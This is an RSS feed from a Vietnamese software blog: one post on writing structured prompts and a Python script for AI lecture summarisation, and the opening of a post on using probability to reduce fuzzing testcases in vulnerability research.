<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://develbranch.com/rss-feed.xml" rel="self" type="application/atom+xml" /><link href="https://develbranch.com/" rel="alternate" type="text/html" /><updated>2026-01-21T09:54:49+00:00</updated><id>https://develbranch.com/rss-feed.xml</id><title type="html">DevelBranch</title><subtitle>Software Research and Development</subtitle><author><name>Quang Nguyen</name></author><entry><title type="html">Kỹ năng viết prompt</title><link href="https://develbranch.com/tutorials/writing-prompts-is-a-skill.html" rel="alternate" type="text/html" title="Kỹ năng viết prompt" /><published>2025-11-09T17:00:00+00:00</published><updated>2025-11-09T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/writing-prompts-is-a-skill</id><content type="html" xml:base="https://develbranch.com/tutorials/writing-prompts-is-a-skill.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Tôi gần đây có tham dự một số lớp học buổi tối sau giờ làm việc. Việc học mấy tiếng buổi tối quả thật rất tốn sức. Do đó, nếu một công cụ giúp tôi tóm tắt bài học để có thể tra lại sau khi học thì quả là tuyệt vời. Lúc này, tôi nghĩ ngay đến việc dùng AI để tóm tắt bài học, tra cứu video khi cần và cần biết chính xác thời điểm tương ứng với bài học để tôi có thể seek đến chính xác vị trí và xem chính xác nội dung cần tham khảo.</p>

<h2 id="cần-chuẩn-bị-những-gì">Cần chuẩn bị những gì?</h2>
<p>Để làm một “task” liên quan tới AI thì cần chuẩn bị 2 thứ:</p>
<ul>
  <li>80% ở Data Engineering (chuẩn bị dữ liệu đầu vào).</li>
  <li>20% ở Prompt Engineering (viết prompt hợp lý).</li>
</ul>

<h2 id="data-engineering">Data engineering</h2>
<ul>
  <li><em>Tải toàn bộ video về:</em> Task này hoàn toàn không khó gì, kể cả với các video “private”, cần một chút mẹo với trình duyệt là đủ.</li>
  <li><em>Tách audio từ video:</em> task này cần một lệnh đơn giản với công cụ miễn phí, mã nguồn mở <code class="language-plaintext highlighter-rouge">ffmpeg</code></li>
  <li><em>Chuyển đổi audio sang text:</em> OpenAI đã release một model khá ổn cho việc này, có tên là <a href="https://github.com/openai/whisper">whisper</a>: Robust Speech Recognition via Large-Scale Weak Supervision. Điểm tuyệt vời của model này là miễn phí, hoàn toàn có thể chạy với các GPU phổ thông, cần VRAM khá ít (model large chỉ cần 10 GB VRAM). Vì video của tôi là bài giảng của một giảng viên nói tiếng Việt nên tôi chọn model này. Model hoạt động trên máy tính cá nhân của tôi (CPU Ryzen 3900X, 64GB RAM, GPU 4060Ti 16GB VRAM) với tốc độ khá tốt: transcript audio dài 3 giờ tốn khoảng 30 phút. Với ngôn ngữ tiếng Việt, tôi chọn model large (https://github.com/openai/whisper?tab=readme-ov-file#available-models-and-languages)</li>
</ul>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Size</th>
      <th style="text-align: center">Parameters</th>
      <th style="text-align: center">English-only model</th>
      <th style="text-align: center">Multilingual model</th>
      <th style="text-align: center">Required VRAM</th>
      <th style="text-align: center">Relative speed</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">tiny</td>
      <td style="text-align: center">39 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">tiny.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">tiny</code></td>
      <td style="text-align: center">~1 GB</td>
      <td style="text-align: center">~10x</td>
    </tr>
    <tr>
      <td style="text-align: center">base</td>
      <td style="text-align: center">74 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">base.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">base</code></td>
      <td style="text-align: center">~1 GB</td>
      <td style="text-align: center">~7x</td>
    </tr>
    <tr>
      <td style="text-align: center">small</td>
      <td style="text-align: center">244 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">small.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">small</code></td>
      <td style="text-align: center">~2 GB</td>
      <td style="text-align: center">~4x</td>
    </tr>
    <tr>
      <td style="text-align: center">medium</td>
      <td style="text-align: center">769 M</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">medium.en</code></td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">medium</code></td>
      <td style="text-align: center">~5 GB</td>
      <td style="text-align: center">~2x</td>
    </tr>
    <tr>
      <td style="text-align: center">large</td>
      <td style="text-align: center">1550 M</td>
      <td style="text-align: center">N/A</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">large</code></td>
      <td style="text-align: center">~10 GB</td>
      <td style="text-align: center">1x</td>
    </tr>
    <tr>
      <td style="text-align: center">turbo</td>
      <td style="text-align: center">809 M</td>
      <td style="text-align: center">N/A</td>
      <td style="text-align: center"><code class="language-plaintext highlighter-rouge">turbo</code></td>
      <td style="text-align: center">~6 GB</td>
      <td style="text-align: center">~8x</td>
    </tr>
  </tbody>
</table>

<p>Với các transcript tiếng Anh, hoàn toàn có thể chọn model có kích thước nhỏ hơn (medium hoặc small) để tăng tốc độ.</p>

<p>Sau bước này, chúng ta sẽ có một file text chứa toàn bộ transcript của video.</p>

<h2 id="prompt-engineering">Prompt engineering</h2>

<p>Đây là 20% còn lại của task. Hầu hết chúng ta đang kỳ vọng quá nhiều vào AI, mong muốn nó phải biết hết và đưa cho mình một câu trả lời toàn diện, có chiều sâu. Đáp lại kỳ vọng này lại là một kết quả chung chung, đọc qua thì có vẻ “hợp lý”, nhưng thực thế lại thiếu chiều sâu và không có nhiều tác dụng.</p>

<p>Đối với tôi, model AI nào không quan trọng, vì khi dùng prompt đúng thì kết quả đầu ra tương đương nhau. Tuy nhiên, tôi khá thích các model mới như Claude sonnet 4.5 (Anthropic), ChatGPT-5 (OpenAI). Gemini 2.5 Pro (Google) cho kết quả cũng không tệ. Nếu đổi sang dùng DeepSeek thì chất lượng hơi giảm so với đánh giá của tôi, nhưng tôi cho rằng chấp nhận được. Một điểm quan tâm của tôi là giá thành. Các model AI cho kết quả tương đương thì chúng ta cứ chọn loại rẻ thôi.</p>

<p>Vấn đề chính nằm ở chỗ <em>“chúng ta đặt câu hỏi cho AI thế nào?”</em> . Mặc dù AI không thể thay thế con người, nhưng chỉ bằng cách tối ưu prompt cho AI, chúng ta sẽ giúp AI trả lời tốt hơn.</p>

<p>Chúng ta có thể sử dụng công thức sau cho việc viết prompt cho AI, tạm gọi là công thức C.O.R.G.I.C.E:</p>

<ul>
  <li><strong>Context (Bối cảnh)</strong>: Nói rõ đầu vào, hoàn cảnh, ngôn ngữ, cấu trúc dữ liệu sẵn có.</li>
  <li><strong>Output format</strong>: Khuôn mẫu đầu ra</li>
  <li><strong>Role (Vai trò)</strong>: Nhập vai để xác định phong cách. Đây là một phương pháp cho phép AI tương tác và tạo câu trả lời đúng với yêu cầu định ra.</li>
  <li><strong>Goal (Mục tiêu)</strong>: Kết quả cần đạt, giá trị cốt lõi của câu trả lời.</li>
  <li><strong>Instruction/Requirements (Hướng dẫn)</strong>: Đây là phần hướng dẫn chi tiết cách làm cụ thể cách làm cụ thể để AI biết cần làm từng bước nào.</li>
  <li><strong>Constraints (Ràng buộc)</strong>: Ràng buộc cứng cần tuân thủ. Đây là các “luật cấm” và ưu tiên định dạng. Có thể thêm các luật mô tả để AI chống “bịa” trong câu trả lời (“Do NOT invent”, “No hallucinations”, “No Yapping”,…)</li>
  <li><strong>Examples (Ví dụ)</strong>: minh họa để mô hình hiểu định dạng của dữ liệu.</li>
</ul>

<h3 id="ví-dụ-cụ-thể">Ví dụ cụ thể</h3>
<p>Quay trở lại vấn đề của tôi, từ công thức viết prompt trên, chúng ta có thể xây dựng một yêu cầu đầy đủ cho AI thực hiện như sau:</p>

<p><strong><em>Context (Bối cảnh)</em></strong></p>

<p>You are given a full transcript of an online lecture converted from video or audio.
Each line follows this structure:</p>

<p><code class="language-plaintext highlighter-rouge">[START -&gt; END] Utterance text</code></p>

<p>Example transcript lines:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>[8.44s -&gt; 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -&gt; 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Additional Context:</p>
<ul>
  <li>Instructor: Instructor’s name</li>
  <li>Transcript file: path_to_transcript.txt</li>
  <li>Note: Replace “Executive Summary” with “Tóm tắt các ý trọng tâm”.</li>
</ul>

<p><strong><em>Output Format</em></strong></p>

<p>Return the final result only in the following Markdown structure:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="rouge-code"><pre># [Lesson Title]  
- Instructor: [name or “not stated”]  
- Session date/time: [if stated] • Total speaking time (approx.): ~HH:MM:SS  
- Main objective(s): …  
- Prerequisites mentioned: …  

## Tóm tắt các ý trọng tâm (Executive Summary)
- 5–8 bullet points capturing the main takeaways.

## Table of Contents by Time
1. [hh:mm–hh:mm] Topic/Section — one-line gist  
2. [hh:mm–hh:mm] Topic/Section — one-line gist  
…

## Detailed Outline (time-anchored)
### [hh:mm–hh:mm] Section Title
- Key ideas:  
  - …
  - …
- Important definitions/frameworks:  
  - Term — short definition.
- Examples/demos/case studies:  
  - …
- Teacher’s guidance (tips, cautions, rules of thumb):  
  - …
- If relevant: equations/steps/checklists shown or described.
- Slide cues (if explicitly referenced): “Slide mentions …” [no fabrication]

## Methods / Systems Explained
- Name (e.g., “The Turtle system”): purpose, components, when/why to use, pros/cons, constraints, assumptions.

## Pros &amp; Cons / Comparisons (if discussed)
- …

## Q&amp;A / Misconceptions Addressed
- Question → concise answer [timestamp].  
- …

## Assignments / Action Items / Next Steps
- Practice items, deadlines, submissions, or readings.

## Resources Mentioned
- Books, articles, websites, datasets, code, or slide references (only if mentioned in transcript).

## Glossary of Terms (brief)
- Term: short definition.

## Key Quotes (optional, ≤5)
- “[translated quote]” — [timestamp]
</pre></td></tr></tbody></table></code></pre></div></div>
<p><strong><em>Role (Vai trò)</em></strong></p>

<p>You are an expert lecture summarizer.
Your expertise lies in producing faithful, structured, timestamp-anchored summaries of academic or professional lectures.</p>

<p><strong><em>Goal (Mục tiêu)</em></strong></p>

<p>Create a complete, accurate, and time-organized summary that helps learners quickly review the lesson content without hallucination or redundancy. Your summary should:</p>
<ul>
  <li>Capture definitions, frameworks, formulas, examples, teacher’s advice, and cautions.</li>
  <li>Structure content by topics/segments with clear timestamps.</li>
  <li>Be concise but comprehensive, and written in clear, natural Vietnamese.</li>
</ul>

<p><strong><em>Instructions (Hướng dẫn cụ thể)</em></strong></p>

<p>1) Use only transcript content. Do NOT invent slides, examples, or data not present in the text.</p>

<p>2) If unclear, write [unclear] instead of guessing.</p>

<p>3) Translate any quoted phrases into natural Vietnamese.</p>

<p>4) Remove filler talk (greetings, ums, repetition). Keep logistics only if they include instructions, deadlines, or assignments.</p>

<p>5) Merge short lines that share the same topic into a single summarized segment.</p>

<p>6) Normalize all times to the format hh:mm:ss.</p>

<p>7) Anchor each topic section with timestamps ([hh:mm–hh:mm]).</p>

<p>8) Use bullet points instead of long paragraphs.</p>

<p>9) Avoid repeating ideas or writing generic comments.</p>

<p>10) Respect the Markdown format strictly.</p>

<p><strong><em>Constraints (Ràng buộc)</em></strong></p>
<ul>
  <li>Faithfulness: No hallucinations or assumptions. Everything must come directly from the transcript.</li>
  <li>Language: Final output must be written in Vietnamese.</li>
  <li>Format: Return only the Markdown summary.</li>
  <li>Completeness: Ensure all important parts of the lecture (definitions, examples, teacher’s comments, assignments) are covered.</li>
  <li>Clarity: Prefer brevity, logical order, and topic segmentation.</li>
</ul>

<p><strong><em>Examples (Ví dụ minh họa)</em></strong></p>

<p>Input snippet:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>[8.44s -&gt; 9.94s]  Chắc mọi người nghe được rồi.
[10.64s -&gt; 16.04s]  Đã 8 giờ thì chắc là tôi xin phép là bắt đầu cái buổi học luôn.
[16.10s -&gt; 22.45s]  Hôm nay chúng ta sẽ học về khái niệm “marketing funnel” và cách ứng dụng nó trong chiến lược nội dung.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Output snippet (Markdown):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre># Marketing Funnel Overview  
- Instructor: Not stated  
- Session date/time: Not stated • Total speaking time: ~00:22:45  
- Main objectives: Understand the concept of the marketing funnel and its application in content strategy.

## Tóm tắt các ý trọng tâm
- The class begins with an overview of “marketing funnel.”  
- The instructor explains its stages and relevance to content planning.  
- Students are guided to apply the concept in practical scenarios.


✅ Final Reminder:
Return only the formatted Markdown summary as specified.
Do not include explanations, raw transcript, or additional commentary.
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="tóm-tắt-một-video">Tóm tắt một video</h2>

<p>Bước này có khá nhiều cách để làm:</p>
<ul>
  <li>Nếu bạn có sẵn tài khoản ChatGPT-plus trở lên và muốn dùng AI này, thì có thể tạo một <a href="https://help.openai.com/en/articles/8554397-creating-a-gpt">custom gpt</a>. System prompt chính là đoạn prompt trên.</li>
  <li>Trường hợp chúng ta muốn sử dụng ChatGPT bản thường (free) trở lên, không muốn tạo custom gpt, có thể lưu prompt phía trên thành một file, đặt tên là <code class="language-plaintext highlighter-rouge">instructions.md</code> và transcript sẽ lưu thành file <code class="language-plaintext highlighter-rouge">transcript.txt</code>. Với 2 file này, ChatGPT sẽ biết phải xử lý thế nào.</li>
  <li>Nếu đã quen với vscode, chúng ta hoàn toàn có thể thêm vào vscode một chế độ mới, để có thể thực hiện công việc này.</li>
  <li>Trường hợp chúng ta muốn mọi thứ trông giống lập trình viên hơn, có thể dùng đoạn code sau:</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
</pre></td><td class="rouge-code"><pre><span class="c1"># Dependencies: openai python-dotenv
</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">from</span> <span class="nn">openai</span> <span class="kn">import</span> <span class="n">OpenAI</span>
<span class="kn">from</span> <span class="nn">dotenv</span> <span class="kn">import</span> <span class="n">load_dotenv</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>

<span class="c1"># Load environment variables from .env file
</span><span class="n">load_dotenv</span><span class="p">()</span>

<span class="n">selected_model</span> <span class="o">=</span> <span class="s">"openai/gpt-5"</span>
<span class="n">input_token_price</span> <span class="o">=</span> <span class="mf">1.5</span><span class="o">/</span><span class="mi">1000</span>  <span class="c1"># Example price per 1K tokens for the selected model
</span><span class="n">output_token_price</span> <span class="o">=</span> <span class="mi">10</span><span class="o">/</span><span class="mi">1000</span>  <span class="c1"># Example price per 1K tokens for the selected model
</span>
<span class="n">system_prompt</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"system_prompt.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">summarize_text</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">text_content</span><span class="p">,</span> <span class="n">model</span><span class="o">=</span><span class="n">selected_model</span><span class="p">,</span> <span class="n">temperature</span><span class="o">=</span><span class="mf">0.7</span><span class="p">):</span>
    <span class="s">"""
    Summarizes the given text using the specified model.
    """</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">chat</span><span class="p">.</span><span class="n">completions</span><span class="p">.</span><span class="n">create</span><span class="p">(</span>
            <span class="n">model</span><span class="o">=</span><span class="n">model</span><span class="p">,</span>
            <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="s">"role"</span><span class="p">:</span> <span class="s">"system"</span><span class="p">,</span> <span class="s">"content"</span><span class="p">:</span> <span class="n">system_prompt</span><span class="p">},</span>
                <span class="p">{</span><span class="s">"role"</span><span class="p">:</span> <span class="s">"user"</span><span class="p">,</span> <span class="s">"content"</span><span class="p">:</span> <span class="n">text_content</span><span class="p">}</span>
            <span class="p">],</span>
            <span class="n">temperature</span><span class="o">=</span><span class="n">temperature</span><span class="p">,</span>
        <span class="p">)</span>
        <span class="n">summary</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">message</span><span class="p">.</span><span class="n">content</span>
        <span class="n">usage</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">usage</span>
        <span class="k">return</span> <span class="n">summary</span><span class="p">,</span> <span class="n">usage</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"An error occurred: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s">"Summarize text file using AI."</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"input_file"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Path to the transcript .txt file."</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">"output_file"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s">"Path to the output file."</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="n">input_file</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">input_file</span>
    <span class="n">output_file</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">output_file</span>

    <span class="c1"># It's recommended to set the API key in an environment variable `API_KEY`
</span>    <span class="n">api_key</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">"API_KEY"</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">api_key</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Error: API_KEY environment variable not set."</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Please create a .env file and add API_KEY='your_key_here'"</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="n">base_url</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">"BASE_URL"</span><span class="p">,</span> <span class="s">"https://openrouter.ai/api/v1"</span><span class="p">)</span> <span class="c1"># set OpenAI key/openrouter
</span>
    <span class="n">client</span> <span class="o">=</span> <span class="n">OpenAI</span><span class="p">(</span>
        <span class="n">base_url</span><span class="o">=</span><span class="n">base_url</span><span class="p">,</span>
        <span class="n">api_key</span><span class="o">=</span><span class="n">api_key</span><span class="p">,</span>
    <span class="p">)</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">input_file</span><span class="p">,</span> <span class="s">'r'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Processing file: </span><span class="si">{</span><span class="n">input_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">content</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
        <span class="n">summary</span><span class="p">,</span> <span class="n">usage</span> <span class="o">=</span> <span class="n">summarize_text</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">summary</span> <span class="ow">and</span> <span class="n">usage</span><span class="p">:</span>
            <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">output_file</span><span class="p">,</span> <span class="s">'w'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">'utf-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
                <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">summary</span><span class="p">)</span>
                <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Successfully summarized and saved to </span><span class="si">{</span><span class="n">output_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="c1"># Calculate cost (example pricing, replace with actual if known)
</span>            <span class="n">prompt_cost</span> <span class="o">=</span> <span class="p">(</span><span class="n">usage</span><span class="p">.</span><span class="n">prompt_tokens</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="n">input_token_price</span>
            <span class="n">completion_cost</span> <span class="o">=</span> <span class="p">(</span><span class="n">usage</span><span class="p">.</span><span class="n">completion_tokens</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="n">output_token_price</span>
            <span class="n">total_cost</span> <span class="o">=</span> <span class="n">prompt_cost</span> <span class="o">+</span> <span class="n">completion_cost</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">().</span><span class="n">strftime</span><span class="p">(</span><span class="s">'%y-%m-%d %a %H</span><span class="si">:</span><span class="o">%</span><span class="n">M</span><span class="si">:</span><span class="o">%</span><span class="n">S</span><span class="s">')</span><span class="si">}</span><span class="s"> File: </span><span class="si">{</span><span class="n">input_file</span><span class="si">}</span><span class="s">, Tokens: </span><span class="si">{</span><span class="n">usage</span><span class="p">.</span><span class="n">total_tokens</span><span class="si">}</span><span class="s">, Cost: $</span><span class="si">{</span><span class="n">total_cost</span><span class="si">:</span><span class="p">.</span><span class="mi">6</span><span class="n">f</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="thực-hành-với-một-video-bất-kỳ">Thực hành với một video bất kỳ</h2>

<p>Tôi chọn ngẫu nhiên một video nào đó: <a href="https://www.youtube.com/watch?v=qFxBneMlYZQ">Impostor Syndrome - Hacking Apple MDMs Using Rogue Device Enrolments</a>. Đây là bài trình bày của 
kỹ sư bảo mật <a href="https://www.linkedin.com/in/marcell-molnar/">Marcell Molnár</a>.</p>

<p>Sau khi tải transcript về (rất tuyệt là youtube có luôn tính năng này), tôi thử tóm tắt toàn bộ video, bằng Claude sonnet 4.5, và kết quả khá mĩ mãn.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>Context Length	30.2k / 1.0m
Tokens	↑ 66.4k  ↓ 6.8k
Cache	36.8k
API Cost	$0.22
Size	61.7 kB
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="đây-là-kết-quả">Đây là kết quả</h2>

<p><a href="/assets/2025/macOS_MDM.md">Bảo mật macOS MDM: Lỗ hổng enrollment dựa trên serial number</a></p>

<h2 id="kết-luận">Kết luận</h2>

<p>Qua bài viết vừa rồi, tôi hy vọng rằng các bạn có thể có cái nhìn sâu sắc hơn với cách viết prompt cho AI. AI rất thông minh, nhưng nếu dùng đúng prompt thì AI vừa thông minh vừa được việc. Chúc các bạn thành công./.</p>]]></content><author><name>Quang Nguyen</name></author><category term="Tutorials" /><category term="Level_1" /><category term="AI" /><category term="prompt" /><summary type="html"><![CDATA[Tôi muốn bắt đầu viết lại blog này bằng một chủ đề rất "hot" hiện nay, đó là sử dụng AI (Artificial Intelligence). Thay vì sử dụng AI theo cách đơn sơ, chỉ bằng cách viết prompt có cấu trúc, chúng ta có thể mở khoá một số tính năng cực kỳ tuyệt vời của AI. Đó gọi là Prompt Engineering.]]></summary></entry><entry><title type="html">Học Toán để làm gì?</title><link href="https://develbranch.com/tutorials/math_is_fun.html" rel="alternate" type="text/html" title="Học Toán để làm gì?" /><published>2020-03-02T17:00:00+00:00</published><updated>2020-03-02T17:00:00+00:00</updated><id>https://develbranch.com/tutorials/math_is_fun</id><content type="html" xml:base="https://develbranch.com/tutorials/math_is_fun.html"><![CDATA[<h2 id="giới-thiệu">Giới thiệu</h2>
<p>Tôi đã từng có một thời gian dài làm việc trong lĩnh vực tìm và phát hiện lỗ hổng phần mềm, cái nghề được gọi với cái tên khá lạ tai: vulnerability researcher. Công việc này đòi hỏi khá nhiều kỹ năng máy tính chuyên sâu. Trong bài viết này, tôi sẽ mô tả cách tôi sử dụng toán để tối ưu các testcase khi nghiên cứu các lỗ hổng. Tôi đã ứng dụng thuật toán này trong khá nhiều case khác nhau, đặc biệt là khi tôi phát hiện lỗ hổng <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1208">CVE-2019-1208 | VBScript Remote Code Execution Vulnerability</a>.</p>

<p>Cần lưu ý rằng:</p>
<ul>
  <li>Tôi có một hệ thống sinh testcase tự động với thuật toán khá đặc biệt của tôi. Tôi sẽ không trình bày nó ở đây.</li>
  <li>Khái niệm đoạn mã có thể bao gồm 1 dòng cho tới k dòng.</li>
  <li>Thuật toán này sinh ra các đoạn mã có xác suất gây lỗi cho chương trình.</li>
  <li>Các đoạn mã sinh ra không phụ thuộc vào nhau. Xác suất một dòng code gây lỗi (crash) độc lập với các dòng khác. <strong>Đây là điều kiện quan trọng.</strong></li>
</ul>

<h2 id="vấn-đề-gặp-phải">Vấn đề gặp phải</h2>

<p>Trong quá trình tìm và phân tích mã, tôi gặp các vấn đề như sau:</p>
<ul>
  <li>Số lượng testcase: Con số này không phải là 1 hoặc 2 để tôi có thể làm bằng tay.</li>
  <li>Thời gian thực thi 1 testcase lâu.</li>
  <li>Thời gian phân tích 1 testcase rất lâu khi phân tích bằng tay.
    <ul>
      <li>Kích thước một testcase lớn (≈ hàng nghìn đoạn mã)</li>
    </ul>
  </li>
</ul>

<p>Tôi <strong>biết chắc chắn</strong> đã tìm ra lỗ hổng nhưng</p>
<ul>
  <li>Cụ thể là đoạn mã nào gây lỗi thì tôi không thể biết.</li>
  <li>Tôi hạn chế về mặt thời gian do tôi phải thực hiện dự án khác của công ty, không thể để 100% thời gian cho lỗ hổng này.</li>
  <li>Tôi phải chạy đua với các researcher khác.</li>
</ul>

<p>Tôi mong muốn có 1 hệ thống:</p>
<ul>
  <li>Tự động sinh testcase và tìm lỗi (Đã có)</li>
  <li>Tự động tối ưu testcase và phân tích lỗi (Cần xây dựng)</li>
  <li>Tự động phân tích lỗi, điền form cần thiết, đánh giá các khả năng khai thác và độ nguy hiểm.</li>
</ul>

<p>Dựa vào tất cả các mong muốn trên, tôi nghĩ đến một phương pháp để tối ưu testcase tự động, tốc độ cao và chính xác. Tôi nhớ đến các bài toán về xác suất đã được dạy khi đi học.</p>

<p>Một số điểm cần lưu ý:</p>
<ul>
  <li>Xác định 2 testcase trùng nhau</li>
  <li>Xác định số tối ưu khi thực hiện.</li>
</ul>

<p>Các testcase được tính là trùng nhau khi:</p>
<ul>
  <li>Trạng thái crash tại cùng địa chỉ EIP/RIP</li>
  <li>Trạng thái Stack của chương trình khi crash trùng nhau</li>
  <li>Một số giá trị của thanh ghi trùng nhau</li>
</ul>

<p><img src="/assets/img/2020/03/2020-03-04-math_is_fun_same.png" alt="Các vị trí cần kiểm tra" /></p>

<p>Giả sử: <strong>Các đoạn code không có sự liên hệ với nhau trong quá trình thực thi</strong></p>

<p>Nên: <strong>Xác suất một đoạn code gây crash độc lập với các đoạn khác.</strong></p>

<p>Đây là giả thiết của tôi. Giả thiết này của tôi luôn đúng do tôi tự sinh các testcase và kiểm soát được đầu ra của chúng.</p>

